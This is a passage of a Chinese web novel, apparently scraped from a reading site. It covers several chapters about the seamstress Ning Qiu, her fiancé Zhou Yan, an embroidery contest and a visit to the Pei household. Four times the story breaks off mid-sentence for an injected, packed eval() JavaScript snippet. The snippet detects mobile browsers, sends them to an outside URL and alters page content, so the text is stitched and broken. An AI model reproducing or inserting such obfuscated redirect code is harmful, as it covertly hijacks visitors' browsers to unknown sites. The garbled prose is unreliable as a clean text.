宁秋有点饿了，两条腿累的不行，若非有不沐浴不上榻的信念苦苦支撑着，她都想直接扑床上睡个昏天黑地了。 家中周母提前烧好了热水，见他们回来忙催促道：“你们终于舍得回来了，再不回来，锅里的热水要重新烧，浪费柴火，你们去哪晃悠搞那么晚？” “去江边走走，离得远，大半时间都花在路上了。”周砚解释一句，开始着手打井水，噌噌噌一下子打了两桶，见宁秋还没从屋子里出来，放声唤道：“秋秋，你还没好吗？我打好水了，你快些。” “来了，你别催。”宁秋不耐烦地回一句，人一下子窜出来。 周母看小两口亲亲密密的互动，老心甚慰，二人之间一个眼神一句话，亦或是一个自然而然的呵护动作都能让她乐半天。 这样相处好啊！不见外，像一家人，之前太见外了，客客气气总感觉隔着一层。 她心里这般想着，脚步悄悄往自己屋挪，反正没她什么事，留在庭院里也是碍眼，不如识趣些，将地方让给他们自己发展。 周砚和宁秋不知老母亲心中所想，一如往常该干嘛就干嘛。 亥时过去，整个小院安静下来，周母也心满意足熄灯睡下了。 除夕夜多的是守岁的人，子时一过，新的一年来临，周家三人又被半夜的鞭炮声吵醒，迷迷糊糊间，宁秋感觉有人在抚摸自己的脸颊，凉凉的，很温柔，意识沉睡的瞬间，她好似听到了阿爹和阿娘的声音，空灵悠远，穿越无尽黑暗进入她的梦中，在这个特殊的日子里阖家团圆，给予她祝福。 “阿爹......” 宁秋无意识呢喃一句沉沉入睡。 ...... 辞旧迎新，大年初三这日，金绣阁复工了。 习惯了假期的闲适重新开始早起上工的日子，宁秋感觉很不适应，特别是早上，天还没亮，她就要凭借超强的意志力爬起床，半闭眼睛，带着迷迷瞪瞪的脑子去洗漱。 一想到还要走半个时辰的路去上工，她整个人都不好了。 “什么时候我也能过上车接车送的日子啊？”宁秋吐掉含在嘴里的水，喃喃自问。 她的声音不大不小，正好被早起的周砚听见了。 屋门的吱呀声也惊醒了宁秋，她茫然看过去，见是周砚，又若无其事地收回目光，继续洗漱。 周砚端着烛盏慢悠悠走到水井边，将其与宁秋的烛盏放在一起，周围一下子亮堂不少。 “年初一那日，阿娘与我商量买马车的事，我也觉得家里需要一辆车，但是老槐巷巷道太窄，正常大小的马车根本进不来。” 周砚很是无奈，开口就说关于马车的话题，宁秋便知他听到自己的念叨了。 她擦了擦嘴，忙解释道：“我刚刚随口一说，没别的意思。” “我知道。”周砚轻笑，随手薅了一把宁秋还没梳理的头发，歉疚道：“我只是觉得亏欠你。” 宁秋没理会放在头顶的手，闻言双眼瞪得大大的，不可置信道：“亏欠我？你从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808757|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头到尾帮我那么多，我感谢你还来不及，哪来的亏欠？周大哥，你莫要想太多给自己增添没必要的压力，以后我们俩一起努力将日子过的红红火火才是正经。” 周砚惊奇的看向宁秋，没有过多解释，点点头，附和她道：“嗯，都听你的，我们一定能把日子过好。” 宁秋还惦记着上工，没工夫去深思，匆匆忙忙收拾好自己就要出门了。 她知道府衙周五才开印，院子里没见周砚，就以为他回屋睡回笼觉了，谁知刚出门口便见一个高大的身影倚墙而立，看样子已经等了好一会儿。 “咦，周大哥，你怎么在这？衙门不是多一天假吗？”宁秋疑惑问道。 周砚立马站直身体，顺手将宁秋的针线挎包接过来，不急不缓解释道：“我不放心你，正好跟华丰约了上午谈事，送你去金绣阁再顺路过去天香楼，时辰刚刚好。” “原来如此，那行，我们现在就走吧！” 宁秋没多想，自然而然走在前面，周砚伸手抓了个空，看看前面姑娘纤细的背影，又低头看了眼特意空出来的右手，无奈地笑了。 没事，他想做的事大多能做成，好比现在，追上去直接牵就行了，总不能牵住还被甩开。 “不用着急，时间很充足。” 他一边找话说一边凑近宁秋，顺着她摆动的手臂一捞，得偿所愿了。 他们牵过很多次手，平时出门没什么人注意的时候也会牵手，牵的多了也就习惯了。 起码宁秋没觉得有何不妥，自然而然接受了这种状态。 二人一路说说笑笑，到达金绣阁时，天光大亮，交握的手也在出街后松开了。 “下午什么时候下工，我来接你。”周砚递还挎包，询问道。 宁秋自己也不确定，干脆让他别来接了，又不是不认识路，自己回去就行。 他俩刚说完，崔婉莹便小跑着冲过来，一把抱住宁秋，亲亲热热道：“秋秋，新年安好，几日不见，我可想你了。” “我也想你，好了，我们先进去，迟到会扣工钱。” 宁秋热情回应，说着，两个姑娘手挽着手，连一个招呼都没和周砚打就进铺子里了。 周砚难以置信地看着她们的背影直至消失。 这…… 他这是被忽略彻底了？ 周砚又酸又气，脸上的温和褪去，露出公办时才会露出的威严，板着脸转身离开。 宁秋还不知道自己已经被未婚夫暗暗记一笔了，三日不见，崔婉莹仿佛有一肚子话要和她说，半天时间下来，耳朵都没清静过。 好在她定力强，一边听好姐妹吐槽糟心亲戚也不影响干活，午后一个时辰，她便将绣阁安排的任务完成了。 申时初，陈管事趁大家伙都还在，宣布东家临时做出的决策，明日不派活，举办金绣阁首届绣娘技艺比赛。 每个等级前两名有奖励，第一名奖励五百文钱，第二名三百文。 若是比赛时绣出来的作品达到更高一级的水平，可特例晋升，月银也跟着涨。 “东家看重咱们金绣阁特意给的开年福利，大家伙要把握机会。” 陈管事话音一落，金绣阁所有绣娘都欢呼起来。 47. 周三岁 “行了，都安静。” 陈管事手掌下压，绣娘们渐渐安静下来，“话已经带到，想参加就找你们绣房的绣头报名，拿奖金还是晋升更高一级，且看你们自己的造化，没什么事就散了，回各自的绣房继续干活。” “是。” 绣娘们成群结队上楼，一边走还一边交头接耳讨论刚刚的话题。 宁秋亦然。 她现在吃住都在周家，花钱的地方比较少，手头攒了点积蓄，可谁会嫌钱多呢？ 要是能拿第一第二名，这个月就多赚几百文，品阶若能往上升一升，赚的就更多了。 “秋秋，你要参加吗？”崔婉莹问。 宁秋想也不想果断回道：“当然要参加，拿到名次有奖金，拿不到也不影响什么，还能对比自己与别人的差距，更好的提升自己，有利无害，何乐不为？” 崔婉莹喜欢凑热闹，听了宁秋的话也觉得很有道理，当即笑道：“原先我想着自己的绣技那么菜就不上去献丑了，现在想想，管那么多做什么，冲就完了，走，我们找刘绣头报名去。” 她做事风风火火，说干就干，没等宁秋回话直接拉着人回二级绣房，排在报名队伍的最后面。 金绣阁的二级绣娘有十人，她俩是回来最晚了。 “秋秋你瞧，大家伙都精着呢！”崔婉莹捂嘴偷笑，凑到宁秋耳边小声嘀咕，“还好没有名额限制，不然等咱俩回来，报名都结束了。” “确实。”宁秋笑笑，目光朝前面看。 刘工头拿出纸笔正要写名字，视线忽然朝队伍扫过，随便一点，人数不多不少正好十个。 得，也不用排什么队了，浪费时间，将原本的名册递上去即可。 “行了，不用排队，你们都回自己位置继续干活吧！”刘绣头从抽屉中拿出名册誊抄一份，随即和绣房中所有人确认一遍就去找陈管事了。 宁秋的任务已经完成，犹豫一会儿，她决定今日不干私活了，回家好好练习二级绣娘所学的新针法。 她没有把握拿名次，但比赛是件严肃的事情，应认真对待。 “哎，秋秋，你要回去了？”崔婉莹见宁秋开始收拾东西忙问道。 宁秋点点头，“是啊，干完活也没什么事，不如早点回家做准备，你慢慢忙，我先走了。” 说着，她将挎包往背上一甩，挥挥手潇洒离去。 崔婉莹羡慕不已，看着身边空荡荡的位置，又看看自己只完成一半的绣品，默默叹了一口气继续埋头苦干。 宁秋从金绣阁出来下意识环顾四周，街上人来人往，没看见周砚的身影她还有点小小的失落，也不知道他那边忙完没有。 垂眸思索的片刻时间，她突然听见有人唤她，声音有点远听不真切，她赶忙抬眼看过去，便见街道对面伫立着一个熟悉的身影。 周砚喊了两声，确认宁秋已经注意到自己才亦步亦趋，慢悠悠走过来。 他面上没带笑容，整个人显得严肃冷漠，有种拒人于千里之外的气场，即便走到宁秋面前也没有变化。 “走吧！” 短短两个字，很贴合当下的情况，但听在宁秋耳中莫名觉得不舒服。 她努力压制那种不适的情绪，一如往常伸手去够周砚的手臂，被他躲开了。 宁秋一愣，讪讪收回手有些无所适从，但从周砚的反应中可以断定他今日很不对劲。 为了验证自己的猜想，她抿了抿唇，决定先找个话题试探一下。 “你今早说约了裴公子谈事，怎么样，事情谈妥了吗？” “嗯。”周砚一个鼻音算是回答了，好一会儿过去，也没有下一句。 宁秋不死心又问：“你们谈什么事，方便告诉我吗？” 周砚回道：“到时候你就知道了。” 宁秋一噎，心头发酸，双掌不自觉握成了拳，“那除了你们俩还有其他人在吗？” “嗯，还有，你不认识。” 周砚句句有回应，但是他的回答简短又模糊，信息量很低，交谈一轮宁秋也没得到什么有用的答案，心里更是堵得慌。 她停下脚步深吸一口气，已经能确定周砚有问题了，当即恼道：“周砚，你不想来接我可以不来，来了又冲我甩脸子，我没得罪你，罢了罢了，你爱怎样就怎样，不劳烦你接了，我自己认得路。” 宁秋越说越委屈，眼眶瞬间泛红，看向周砚的眼神中满是失望，骂完转身就跑。 周砚其实一直在观察宁秋的反应，见她眼眶泛红就意识到要坏事，可惜反应还是慢了一步，玩脱了。 “秋秋，秋秋！” 周砚来不及多想赶忙追上去一把将人拉住，街上人多还有马车走动，就怕她情绪激动之下撞到人或车，赔偿事小，撞伤自己事大。 “秋秋，你莫气，听我解释好不好？” “不好，我不听。” 宁秋奋力挣扎，试图挣脱被钳制的手臂，好一会儿也没成功，干脆放弃抵抗，摆烂道：“刚问你那么多句你不说，现在我也不想听了，你怎样都不关我的事，不要跟我说，我不听。” 他们的动静有点大，不少路人闻声侧目，都好奇他俩在干嘛。 感受到许多打量的目光，周砚脸色很不好看，不悦的眼神瞬间扫过，打量的人才变少了。 他将宁秋拉到边上，温声说道：“我知道你不想听，是我自己非要说给你听，还蛮不讲理不让你捂耳朵。” 他嘴巴比脑子快，没怎么思考，一句不符合他气质的话说出来了，不仅宁秋茫然，连他自己都怔愣片刻。 “那个。” 对上宁秋怀疑戒备的目光，周砚不自在地轻咳一声，“我的意思是你冷静一下，我们好好谈，这是个误会。” “误会？”宁秋双眸微眯，显然是不信的。 “嗯，误会。”周砚见宁秋不再挣扎便慢慢松开她的手，“我没想给你甩脸子，只是，只是......” “有屁快放。” 宁秋目光上移，看到周砚俊朗的脸庞以及那发红的耳朵时，突然就不气了。 周砚自知理亏，好一会儿才支支吾吾说了一句：“今早你没理我。” 宁秋：“？” “你当时毫不犹豫松开我的手，跟一个姑娘手挽手，有说有笑进金绣阁，连一声招呼都没跟我打。” 宁秋：“！” 就这？ 宁秋从周砚的话里听出了委屈，她不可置信地看向他，想从他的脸上看出玩笑的痕迹，可惜没有。 那张脸板正严肃，说话时看上去很认真，没有半点玩笑的意思。 “你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820222|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁秋欲言又止，此时此刻，她不知该如何表达自己的心情。 “周大哥，你二十二岁，不是三岁。” 周砚：…… 他面露窘迫，摸了摸鼻子，思索着如何将话圆回去，好挽回自己成熟稳重的形象。 然而没等他想到解决办法，宁秋突然朝他手臂拍了一掌，绽放一个大大的笑容。 不知怎的，周砚心中突然生出一种不好的预感。 宁秋抬头看着他嘿嘿一笑，大喊道：“周三岁，周三岁，我以后不会再忽略你了。” 她声音很大，咬字清晰，瞬间引起不少路人的注意，更重要的是她喊完就跑，路人的眼神全部集中到呆愣的周砚身上了。 这一刻，周砚的脸刷一下红透了，恨不得找个地缝钻进去。 “宁~秋~” 他咬牙切齿，看着宁秋欢快奔跑的背影，隔老远还能听到她的笑声，可见她调皮一回心中有多快乐了。 自己矫情在先，采取了错误的做法，这会儿也没脸找茬，未婚夫妻小打小闹也是一种培养感情的方式。 周砚站在原地缓了片刻，不断用各种理由劝服自己，最后无奈扶额，装作若无其事的模样小跑着追人去了。 宁秋刚刚灵机一动皮一下，心中有分寸，跑出一段路后寻个避风处等待周砚追上来。 看着熟悉的高大身影越走越近，她挥了挥手，笑道：“周三岁，蜗牛爬都比你快，太慢了，可以有快点吗？不然我不等你了。” “遵命，宁两岁，我这就加速。” 周砚无奈地笑了，打不得骂不得，那只好加入了。 毕竟周三岁和宁两岁光听名字就很般配。 对话间，周砚已经迈着大长腿来到宁秋身边，并朝她伸出了右手，“宁两岁，走吧！我们回家。” “好。” 宁秋毫不犹豫将手搭在他的掌心，两人手牵手说说笑笑回家了，彻底将方才的小争执抛之脑后。 吃晚饭时，周母问起宁秋藏屋里干嘛，宁秋便将金绣阁召开绣娘绣技比赛的事简单说了一下。 宁秋心中还是很渴望拿名次的，只是信心不太足，“我们绣房有两个绣娘实力跟我差不多，不一定能拿名次。” “重在参与，放平心态稳住心神，你已经很厉害了，就当日常做活，别给自己太大压力，我们家算不得富裕，但也不缺那几百文钱。” 周母不以为意，见宁秋忧心立马出言安慰她。 “婶娘过奖了，我也算不得厉害，人外有人，天外有天。”宁秋道。 周砚路上已经听宁秋说过比赛的事，这会儿也不插嘴，埋头专心吃饭，很快一碗饭就见底了。 他的注意力都在饭菜上，连老母亲投来的眼神都没注意到。 周母恨铁不成钢，恨不得将碗里的饭直接扣亲儿子脸上。 吃吃吃，就知道吃，关键时刻也不知道吱一声，开解一下自己的未婚妻。 罢了，男人靠不住，娶儿媳妇这件事还得靠她转寰。 周母在心中叹息，继续开解宁秋道：“咱们不跟别人比，只跟自己比，每次进步一点就很厉害了。” 宁秋倏然一笑，赞同地点点头，“对，我跟婶娘想到一块去了，能拿奖金或者升品级最好，不能就当提升自己了。” 48. 第一名 “你能这么想最好。” 周母往宁秋碗里夹了一块红烧肉，满眼慈爱，然而视线一转，看到已经吃空两碗饭准备放下碗筷的儿子，又没忍住瞪他一眼。 “娘，怎么了？”周砚不明所以，张口就问。 周母不好当着宁秋的面拂亲儿子的面子，便随口敷衍道：“没事，你吃你的。” “哦。” 周砚眼观鼻鼻观心，注意到老母亲的表情变化，有没有事他心里门清了。 不过既然对方不明说，他只当什么都没看出来，该吃吃，该喝喝，绝不给自己找事。 以他对老母亲的了解，真到忍不下去的地步，她会主动说，不然问了也是白问。 宁秋还在滔滔不绝述说金绣阁的事，根本没注意到母子俩的眉眼对峙，一顿饭下来，也算是和乐了。 时间转瞬即逝，金绣阁迎来了首届绣娘绣技比赛。 地点定在各级绣房之中，由铺子掌柜以及陈管事商议决定每场比赛的题目，各绣房的绣头守在绣房中计时并监管比赛秩序。 今日的比赛，二级绣房的题目定为鸳鸯，难度相较平时高，时间限制为三个半时辰。 因这种动物具有特殊含义，通常会出现在喜服、红盖头之上，绣阁日常派活很少出现鸳鸯。 即便是有，能来金绣阁订喜服的都不是普通人家，要求高，管事便将活派给更高等级的绣娘。 别的不说，单单二级绣房中就有好几个绣娘没正儿八经绣过鸳鸯，题目一公布，顿时引来阵阵哀嚎。 然而主家可不管绣娘们怎么想，既然参加了比赛，就得按规矩来，题目是什么就绣什么。 锣鼓声响，绣娘们争先恐后落针，指尖翻飞，如同一只只蝴蝶在绣布上翩翩起舞，看得人眼花缭乱。 相比部分绣娘的哀嚎与迫切，宁秋淡定多了，心中也无比庆幸。 鸳鸯啊！正好她空闲时间给自己绣婚服，选定的图案就是鸳鸯，红盖头前些天已经完工了，有经验。 她迅速穿针引线，目光扫过专注绣布的众人不禁深吸一口气，努力平复心中为数不多的紧张，开始投入比赛之中。 刘绣头坐在上首一一观察绣娘们的反应，看到宁秋这里时，满意地点点头。 宁秋十指灵活，做绣品的速度是铺子里数一数二的存在，加之学习力强，明明是二级绣房中最晚晋升的人，却能在短短一个月的时间里熟练掌握二级绣娘所学的所有绣技，并且做出来的绣品不输同级老绣娘。 刘绣头很看好她，比赛过程不免多给一点关注。 宁秋此次比赛采用苏绣技艺，图案设计包涵水、鸟、莲，色彩搭配鲜明，景致贴合自然，很符合苏绣的水乡特质。 考虑到时间限制，她犹豫再三还是决定放弃对双面绣的尝试，选择自己熟悉的技法，争取比赛名次。 时间一点一滴过去，每隔半个时辰宁秋都要停下来捏捏脖颈，活动一下手指，再偷偷观察左右两边的进度。 心里惦记着比赛，中午吃饭的时候崔婉莹难得正经，没有跟宁秋吐槽八卦，短短两刻钟吃饭时间，她全用来问宁秋的绣品构思了。 “啊？题目不是鸳鸯吗？”崔婉莹震惊了。 宁秋一脸淡定，漫不经心回道：“是鸳鸯，但是题目也没说只绣鸳鸯，时间充裕的前提下，我丰富图案场景并无不妥。” 崔婉莹整个人都懵了，还能这么玩？ 其他绣娘怎么想她还不知道，但是跟宁秋一对比，她感觉自己有点呆，一根筋，题目说啥就是啥，不懂变通。 “完了完了。”崔婉莹耷拉下脑袋，连以往最喜欢的鸡蛋羹都没胃口吃了，手中筷子有一下没一下地戳着碗里的饭，沮丧地说道：“秋秋，我这次估计要垫底了。” “不会的。”宁秋的语气很肯定。 她伸长脖子往对面凑了凑，压低声音神神秘秘地说道：“如果我的判断没有错，咱们绣房还有三四个人没绣过鸳鸯，你好歹练过，算是有经验了，再差也不可能垫底。” “真的？”崔婉莹双眸一亮。 宁秋点点头，面上露出笑容，“自然是真的，我骗你又没有好处。” “太好了，不用垫底我就放心了。” 面子里子都能保住，崔婉莹心下一松，注意力重新回到饭菜上，边催促宁秋道：“我们都吃快点，时间不等人。” “我晓得，已经吃饱了，等你呢！”宁秋放下筷子，等崔婉莹吃饱一块回绣房。 是日酉时初，比赛结束的铜锣声敲响，所有绣娘不管绣品完成与否都要停止动作。 有人心情放松自信满满，有人一脸沮丧叹息连连。 宁秋沉默地收拾东西，就等刘绣头发话，没什么事她要回家了。 绣品右上角绣有绣娘的名字，不担心会弄错，刘绣头反复数了两遍确认无误，才说道：“比赛名次预计需要三日评定，届时会公布每个级别第一第二名并将她们的作品装裱挂到大堂墙面上，公开公正。铺子今日不派活，比赛结束，没什么事你们就回家吧！” 刘绣头说完话，一挥手，绣房中有一半绣娘结伴离开，还有一半留下来做点私活。 宁秋从金绣阁出来，抬头望天，感觉神情气爽，心情极好地哼着小曲往老槐巷走。 三日后，送到东家面前的绣品重新送回金绣阁，挂在大堂最显眼的位置。 绣娘们一个个争先恐后往前挤，都想知道自己所在绣房拿到名次的人是谁。 宁秋告别周砚，一进大门就看见这样的场面，挤挤挨挨，吵吵嚷嚷，她怔愣片刻后很快就反应过来了。 “秋秋，你终于来了，你好厉害啊！” 没等宁秋凑上前，就听人群最里面的崔婉莹咋咋呼呼，指着墙上一副绣品朝她兴奋大喊；“你是咱们绣房的第一名，第一名啊！” 此话一出，在场所有人的目光不约而同全部集中到门口方向，热切的、嫉妒的、不满的、欣喜高兴的，各有各的想法，各有各的反应。 宁秋还是第一次被那么多人盯着看，面上神色一僵，不自在地揪住自己的衣摆，好一会儿她才挤出一抹笑容，朝其他人点点头算是打招呼了。 “秋秋你快来，感觉你的绣品就比三级第一第二名差一点。”崔婉莹还在那喊。 宁秋无法，只得顶着所有人的目光走过去，人群自动让路，她很轻易便到了观看自己作品的最佳位置，面上的欣喜再也收不住了。 正好此时陈管事出现，一阵锣鼓声打断了大家伙的议论。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832678|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈管事板着脸训道：“都挤在那里做什么，今日的活不用干了吗？都回各自绣房干活去。” “是。” 绣娘们一个个乖的像鹌鹑，不到半刻钟的功夫，人群散去，大堂安静下来，负责招待客人的小伙计也回到自己的岗位上静待来客。 拿到名次的绣品全部公开，绣娘们看在眼里心中都有一杆秤，除去心有不甘的三两人外，其她人纷纷为拿到名次的绣娘送上祝福。 陈红菊便是那三两人中的一员。 她与宁秋是同批次进入金绣阁的，二人之间又有龃龉，私底下她没少拿自己和宁秋比。 起初她知道宁秋只是个孤女，脸上身上都有伤，还同情宁秋，觉得自己高宁秋一等，优越感十足。 后来宁秋脸上的伤好了，露出秀丽俊雅的真容，那时起，她心中就生出了名为“嫉妒”的情绪。 再后来她知道宁秋的阿爹生前是个秀才，宁秋小时候读过书，识文断字还会画画，最重要的是宁秋的绣技比她好，升二级绣娘不说，还深得掌柜和陈管事的看重。 陈红菊发现，从家世样貌到绣技，不管自己怎么努力，好像都比不过宁秋。 她不断在自己身边挖掘，想找到自己比宁秋强的证据，渐渐的，她心中的想法越来越扭曲，连未婚夫也成了她跟宁秋比较的筹码。 然而，她这样的心境，这样偏激的想法注定不能引导她通向幸福的路。 原本她很满意自己的未婚夫，甜甜蜜蜜到处炫耀，直到得知宁秋也定亲了，定的还是一个俊朗的捕头，她彻底破防了，连带着看自己未婚夫也不顺眼起来。 婚期就在这个月中，没多少天时间了，因为她的攀比，最近没少跟未婚夫吵架，连婆家那边也对她有意见了。 陈红菊很迷茫，自家爹娘觉得她有问题，兄弟姐妹也纷纷劝说她，让她注意点。 但是她自己不觉得有问题，反而因为其他人的说教指点更加坚定自己的看法，沉浸在自己编织的优秀美梦之中。 回绣房的路上，宁秋总感觉背后凉飕飕的，没忍住回头看了一眼，正对上陈红菊匆匆避开的怨毒眼神，不禁蹙起眉头。 这会儿人多眼杂，管事和绣头都在，陈红菊不敢做什么，心有不满也只能暂时忍下了。 宁秋知道陈红菊一直在暗暗针对她，触及那样的眼神，不得不防。 正儿八经的较量她不怕，就怕那家伙心思不纯偷摸摸搞小动作，无端惹出麻烦来。 “秋秋，怎么了？”崔婉莹见宁秋一直盯着那边看，好奇地问道。 宁秋摇摇头，什么也没说，回绣房一如既往踏踏实实做活。 午间膳房。 宁秋和崔婉莹刚打好饭就听见陈红菊讨人厌的声音。 “以那个宁秋的实力真能拿二级绣房第一名吗？哼，她跟我同一天来的，原来的座位还在我隔壁，她几斤几两我还能不知道？八成有内幕。” “还有我们绣房的白月，她来的比我还晚，竟然也能拿第二名……” 宁秋和崔婉莹对视一眼，默契地选择相反方向的位置，毕竟背后说人坏话容易挨打，离那几个八婆远些，以免突生变故牵连己身。 果不其然，宁秋二人刚坐下，那边就闹起来了。 49. 外勤 先是吵架对骂，吵着吵着吵上头，陈红菊先动手挠人，结果手段力气都不如别人，反被人按在桌子上打。 陈管事闻声跑过来时，陈红菊衣裳不整，脸上带伤，已经躺地上撒泼哭嚎了。 周围都是看热闹的人，陈管事一来，大家伙都默契避开，假装认真吃饭，实则悄摸摸看好戏。 “你们几个跟我来。”陈管事一声令下，打架双方都低垂着头跟在身后离开膳房了。 人一走，膳房内再度热闹起来。 宁秋和崔婉莹对视一眼，皆忍不住勾起唇角。 ...... 绣技比赛结束后，宁秋如愿拿下二级绣房第一名，成功晋升为三级绣娘。 为了更好的完成任务赚更多的钱，她干活更卖力了。 上工时间争分夺秒，不懂的地方积极请教绣头，每天干到金绣阁打烊才回家，晚上还坚持点灯练习一个时辰的针法，经过她的不懈努力，一个月后总算在三级绣房站稳脚跟了。 在此期间，她得到了陈红菊被辞退，已回家成亲的消息，并未放在心上，倒是跟陈红菊的堂姐陈红梅成了朋友。 陈红梅与陈红菊不同，她是个很温柔又很有主见的姑娘，对刺绣是发自内心的热爱。 她家条件没有陈红菊家好，为了减轻父母的负担支持弟弟读书，她八岁便进入金绣阁做学徒，十年光阴，从穿针引线给绣娘们打下手开始，一步步走到三级绣娘的位置。 别人不愿意教，她就趁打下手的时候偷偷学，再回家练上百遍千遍。 买不起布料和针线，她就捡铺子里不要的废布头和废线。 她刺绣天赋不高，却是同批学徒中最刻苦、最踏实的，也正因如此，陈管事看到了她，给了她机会。 自家堂妹进入金绣阁后的种种骚操作她是知道的，只是影响不到她，她也懒得理了，早早划清界限，掌柜和管事问起，她便回一句：“全凭掌柜和管事处置。” 至于家中长辈如何说，她压根不在乎。 如今她手头宽裕，在家中有绝对的话语权，弟弟读书也很得先生的看重，去年刚中童生，他们家蒸蒸日上，而小叔一家反倒开始走下坡路了。 至于偏心眼的奶奶，随便吧！她已经过了期待隔辈亲的年纪，对方来家中住就给口吃的好好养着，想要别的好处免谈。 宁秋很喜欢陈红梅坦荡果决的性子，又因为两家都有不讲理的奇葩亲戚，相处起来有共同话题，很是契合，一来二往便成了朋友。 “红梅、秋秋，今日你们随我去一趟裴员外府上，贵人们要准备夏装了。” 裴家主子们一年四季的衣裳都在金绣阁定做，正常情况下会提前一到两个月通知金绣阁的绣娘们过府量体裁衣，如此才有充足的时间制衣、试衣、修改。 “是。”宁秋和陈红梅双双应下。 宁秋第一次接手外出任务，还是去平州最富裕的人家，即便那家的少主她认识，也免不得会紧张。 毕竟裴家其他人她可不认识，即便是认识，人家也不一定会给她一个小小绣娘面子。 “红梅姐姐，我听说大户人家规矩多，一不小心就可能会犯忌讳，你能跟我说说有什么需要注意的地方吗？我怕拖你们后腿。” 陈红梅正在准备外出需要的物品，闻言温和笑道：“没事的，裴家的贵人们大多好脾气，不是大问题一般不会苛责，你正常做事就行，做得好，还有赏赐，莫忧心。” “行，要是我有什么不妥之处，还望姐姐提点。”宁秋顿时松了一口气，朝陈红梅笑笑，也回自己位置收拾东西了。 一路上，陈红梅趁空闲与宁秋说了说平州大户们的情况，哪家好说话，哪家事多，哪家有个好色不讲究的男主子...... 凡是能想到的，陈红梅都简单说了一遍。 宁秋也尽可能把自己的脑子利用起来，能记一点是一点。 “裴家需要特别注意的是裴家的三老爷，那是个老色批，荤素不忌，后宅的小妾都十一房了，其中有一房还是咱们金绣阁的绣娘，上门量体裁衣惹得祸，今日我去给他量，你往后要是遇到他注意点。” 陈红梅所言事无巨细，就怕宁秋懵懵懂懂吃大亏。 宁秋感激不已，连连道谢，同时心中万分感慨。 她有点好奇，裴家三老爷纳那么多妾室睡得过来吗？ 十一房妾室外加一房正妻，妻妾一人生一个孩子就已经有十二个孩子了，以后孩子成亲再生孩子，儿孙满堂不是梦。 宁秋这般想着，一不小心把心里话说出口了，“这个三老爷真厉害，那么多女人，有钱人家果真不一样，生再多孩子也养得起。” 陈管事和陈红梅闻言双双看向她，眼中满是诧异，显然没想到宁秋会说出这种超出她经历的话。 陈管事轻咳两声故作严肃训道：“我们只管做好自己的事，守好自己的心，其他与我们无关，有些话到此为止，小心祸从口出。” “是，陈管事，我知道错了。” 宁秋捂住自己的嘴巴，朝陈管事讨好地笑笑。 “你这丫头，都快成亲的人了，稳重些。” 陈管事伸手在宁秋头顶轻轻敲了敲，眼神柔和慈爱，目光一转，见陈红梅捂嘴偷笑，便又对她说道：“你也是，十八岁了，赶紧寻个好婆家，再犟下去就成老姑娘了，年轻时什么都不怕，年老干不动了你又当如何？指望侄儿给你养老吗？” “也不是不行，以后侄儿给我养老，我便将自己攒下的身家都给他。” 陈红梅言辞凿凿，却见陈管事无奈地摇摇头，不赞同道：“你啊你，人心隔肚皮，侄子再好也隔一层，哪有亲儿子靠得住？” “管事也说了人心隔肚皮，不能保证侄子能靠得住，又如何能确定儿子一定能靠得住？世上的不孝子也不少呢！” 陈红梅脑子转的快，当即便用陈管事自己的话堵回去了。 每次提到婚嫁问题，她都像个刺猬，陈管事已经习惯了，也知道她家的情况。 看着姑娘倔强的小脸，陈管事幽幽叹了一口气，到底沾点远亲关系，又是自己看着长大的孩子，总不忍心苛责太过。 “管事放心，我又没说不嫁，只是家里介绍的那些我都没看上，要么长得太磕碜，要么好吃懒做人品不太行，要么就是能力不如我，赚的三瓜两枣都不够他自己花，连养家的能力都没有， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838356|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您说这样的怎么嫁？”陈红梅眼眸流转，半开玩笑道：“要不您身边有合适的给我介绍一个？” 陈管事伸出食指点了点她的额头，痛快应道：“行，改明我给你介绍一个俊俏后生。” “这可是你说的，不俊俏我不依。” 陈红梅这话一出，马车中的三人都忍不住笑起来。 时间在谈笑中过去，马车很快抵达裴府门口。 望着气派的裴府大门，宁秋深吸一口气压下心中刚出生来的局促苗头，跟在陈管事身后大步走进裴府。 